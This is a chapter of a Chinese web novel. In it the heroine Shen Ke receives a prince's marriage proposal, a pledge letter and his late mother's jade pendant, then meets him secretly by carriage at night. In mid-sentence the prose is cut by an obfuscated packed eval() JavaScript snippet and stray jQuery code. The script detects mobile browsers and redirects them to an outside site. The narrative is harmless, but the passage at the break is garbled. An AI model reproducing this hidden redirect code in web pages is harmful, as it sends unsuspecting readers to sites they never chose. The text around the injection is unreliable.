又过了半月,偏院里的桂花老树开始冒嫩芽,地上的野花野草也散在砖缝里,倒比冬日里看着热闹些。
这天沈珂挽起长发靠在窗边榻上,张张糙纸铺在榻几上,她借着日头翻了页手里握着破烂的《千字文》,艰难地用炸毛的毛笔练写。
所幸这个不知名朝代的字和现代繁体差别不大,她学起来也快。
沈珂正低头用手掐毛笔尖,就听院门那头传来急匆匆的脚步声,她抬头看去,对面人带起来的风风吹起她鬓角的碎发。
不过眨眼的功夫秋叶就跑到眼前。
满头大汗的秋叶看也不看,随手就拿过桌上的茶杯仰头闷了下去,又拿茶壶往里倒水。
“哎别喝那水是昨天…算了你喝吧应该药不死。”沈珂无奈地抽出手帕来边为她擦汗边问道:“怎么了?跑得这么急。”
“姐姐!外头有…有人来提亲了!”秋叶忍不住激动蹦了两下。
“提亲?向谁?”
不会是沈仲善这软饭没吃够的四旬老头要二嫁吧。沈珂被自己无厘头的想法逗笑,拿起茶杯掩饰自己翘起的嘴角。
“当然是姐姐了!”
“噗——”
虽然水没喝到嘴里,但沈珂还是喷了,她觉得自己快喷血了。
“我?你没听错?”沈珂疑惑地指了指自己,觉得还不如沈仲善被提亲。
秋叶用力点点头,用手比划:“主君主母在外头迎客了,来了好多人送了好多礼。”
几乎是瞬间,沈珂就想到了是谁。
唯一的可能就是迟清晚了,不可能还有别人。
沈珂重重将茶杯放回原处。
可能在这里人看来,能和皇子结亲是莫大的荣幸,更别提是迟清晚这样受宠的皇子。
自己就是不乐意,牙咬碎往肚子里咽也要装出开心的样子。
她心里涌上阵无力感,自己举目无亲,沈家当家人哪个会为自己拒绝这样的机会。
竟是半点选择的余地都不给自己,要不是秋叶跑来告诉自己,自己怕是还什么都不知道。
“姐姐,你不高兴吗?”秋叶小声道,手拉上她的袖子。
秋叶原本是高兴的,她看到来提亲的使者带来琳琅满的采礼,觉得如果娘子能有个好去处,比在这要啥没啥的破院子呆着强。
看秋叶耷拉下来的眉,沈珂勉强勾起笑,手摸了摸她的脑袋道:“高兴,有什么不高兴的。他们是不是还带了大雁来,你悄悄去看着玩吧。”
看着秋叶离去,沈珂脸上的笑立即垮了下来,坐回榻上手撑着头,看了眼桌上摆着的书,心烦意乱地将书推开。
没过多久。
等秋叶再次跑回来时,沈珂为了解压正在拔院子里的草,见她手里捧个巴掌大的布包裹就问:“厨房的翠儿又送你糕点了?”
“不是不是,奴婢今天还没去过厨房。”提起糕点秋叶就有些嘴馋地咽了咽口水,“这是一个叫鹤飞的送的,说是六皇子叮嘱他一定要给姐姐的。”
“迟清晚?”沈珂手上全是土,一时间对着那包裹无处下手,就到水缸前用舀水瓢冲干净手上的土,又用手帕擦净手后才接过布包。
打开来看里面是个信封,和个月饼大小的玉佩。
信封面上写着「娘子亲启」。
沈珂掏出里面的信展开,上面短短两行字:
若娘子允为姻亲,两年期满,定还卿以逍遥,护卿以温饱。
特赠以亡母遗物为信,天地为证,若违此誓,必不得善终。
|端宝十一年|
|清晚书|
信的最后落款处之上还落了个红印章。
沈珂面无表情地看完后将信折好塞进去,将那枚玉佩拎起来看。
青白色玉佩上面雕刻着两条首尾相连的鱼,连接有两朵金镂莲花,没什么磨损的痕迹,能看得出原主人对它十分爱护。
翻过来看,两条鱼鱼鳍处各刻了字,沈珂眯起眼来看,左上稍大的鱼上刻的是“朝阳”,右下边略小的鱼是“寒节”。
沈珂将玉佩握在手中问道:“鹤飞给你送完东西就走了?”
“没呢,主君主母还在招待。”秋叶答道。
沈珂点点头进屋提笔在纸上草草写了什么,吹干后折起来包在布里,塞给秋叶:“乖,帮我再给鹤飞送去好吗?”
“好!”秋叶高兴地领了命,捧着布包一溜烟地跑出去了。
入夜后,主院来人告知了声提亲的事,让沈珂第二日去主院那边听主母的吩咐,看她知道后,侍女也不愿在这院子里多呆直接走了。
等打了初更,沈珂觉得没人关注自己倒是件幸事,至少吃喝拉撒没人盯着,现在也能让她钻了空子偷跑出去。
养树千日用树一时,她身着灰窄袖袍子站在那颗老树下说了两声“对不住”后,利落地扒着枝干踩了上去,站在最高最粗壮的枝桠上,手勉强扒住了墙沿。
沈珂手撑上去使劲的同时跳起来,整个身子翻到了墙头。
“姐姐,小心点啊,”秋叶担忧地看着她,看她坐稳后将手上的帷帽丢上去。
沈珂扶着墙接住帷帽,利落地戴在头上,她朝秋叶一笑:“你回去吧,早点休息。”
说罢她翻身跳下墙头,落在墙外放着不知道谁家铺满稻草的车上。
沈珂扶着墙下了车,揉着有些酸痛的胳膊,张望四周,心想真是该好好锻炼了。
她找了一圈,才在街对面小巷里找到辆小而低调的马车,坐在前头驾马的正是换了身布衣的鹤飞,见到沈珂还远远地和她打招呼。
沈珂同他问好后上了车,一撩车帘就先闻到扑面而来的沉香味,再探头看迟清晚在里头坐着,穿着低调的月白色纱袍。
“你换身衣服还换个香味。”沈珂没忍住调侃他。
迟怜笑道:“你还记得我身上的味道?”
想不记得都难,沈珂想起之前刑部大牢里迟清晚那奢靡的阵仗,笑笑不再和他拌嘴。
她面对着迟清晚坐下后摘掉帷帽放在腿上,迟清晚敲了敲窗子,外头鹤飞听见后甩起缰绳,马车缓缓晃动起来。
车轮子“咕噜咕噜”声和马蹄声交错着,车内一时间静默无言,两人低垂着头。
沈珂摸出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412216|184642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀里的双鱼玉佩,伸到迟清晚面前:“你向沈家提亲,我没法拒绝,没必要再给我这么贵重的东西。”
迟清晚垂下眉看了眼玉佩,又将目光放在沈珂脸上:“既然说是信物,便没有收回的道理。”
“上面的金莲花不只是装饰,是为了把两块玉佩合在一起的。”沈珂道,“这不止是你母亲的物件吧。”
迟怜愣了下,坦然道:“对,是母亲留给我与姐姐的。”
意料之中的回答,沈珂摇摇头坚持递给他道:“太珍贵了,我不能要。”
“姐姐她随着母亲去了。”迟怜依旧不肯接过手,现在只有他们二人独处,迟怜便露出有些自弃的神情道:“这玉佩原是母亲留给我们的护身符,现在只留我独活,想来是没什么用。”
“……”沈珂不大会安慰人,只能先把玉佩收回怀里纠结再三,憋出句:“你妈和姐姐看你现在把自己照顾的这么好会欣慰的。”
这话倒是不假,迟清晚咋看都不像会亏待自己的人。
他听后果然笑了起来,不过笑得很假,他道:“你说的对。”
“我也没什么好说的了。”沈珂撩开窗帘向外望,马车刚好拐了个弯路过热闹的酒楼,附近张灯结彩,三三两两没银子去楼里吃饭的人聚在路边摊,喝酒调酒,摆摊家的孩子帮忙端饭菜和酒上桌。
沈珂自来到这个世界还没出门好好看过,如今见识了一番觉得真是既不真实又热闹。
迟清晚望着她看向远处,被暖色灯火映照的脸上带着她自己都没察觉到淡淡的难过和怀念,她在怀念什么不得而知。
“你不骂我。”迟清晚道。
沈珂:“我为什么要骂你。”
迟清晚:“你上次并未应允成亲的事。”
沈珂好笑地放下帘子:“你也知道啊,我当你要装糊涂装到底,我看你当时就想着我不答应你就像今天这样直接提亲上门,你也知道沈家不会不敢拒绝。”
迟清晚无可辩驳,只道:“将来我会解释。”
解不解释不重要。沈珂心想,但嘴上还是应了声。
等马车回到原地,刚巧听见更夫远远地吆喝着“关门关窗,防火防盗。”
沈珂重新戴上帷帽向迟清晚告别:“婚期定了吗?”
“司天监会选个日子,不过还早着,有的折腾。”迟怜道。
沈珂深深叹了口气,边小声说“结婚真麻烦”边下车。
待马车驶远,沈珂来到墙边再次踩着稻草爬上了墙,翻了过去踩着树下去。
她见自己那屋还亮着灯,以为秋叶还没睡,便摘下帷帽拎在手里边走进去边说:“秋叶啊,我不是让你早点睡不用等我了吗?”
“是我在等你。”
听到完全陌生的女声,沈珂怵然抬头,见到灯下桌旁坐着个女子,身着珍珠纱衣,梳着元宝髻装饰金钗玉步摇,与这朴素到有些破旧的屋子格格不入。
女子身后站着被两个嬷嬷夹在中间瑟瑟发抖的秋叶,她没办法说话,只能担忧地看向沈珂。
沈珂迟疑地蹲身行了个不伦不类的礼,喊道:“陈夫人。”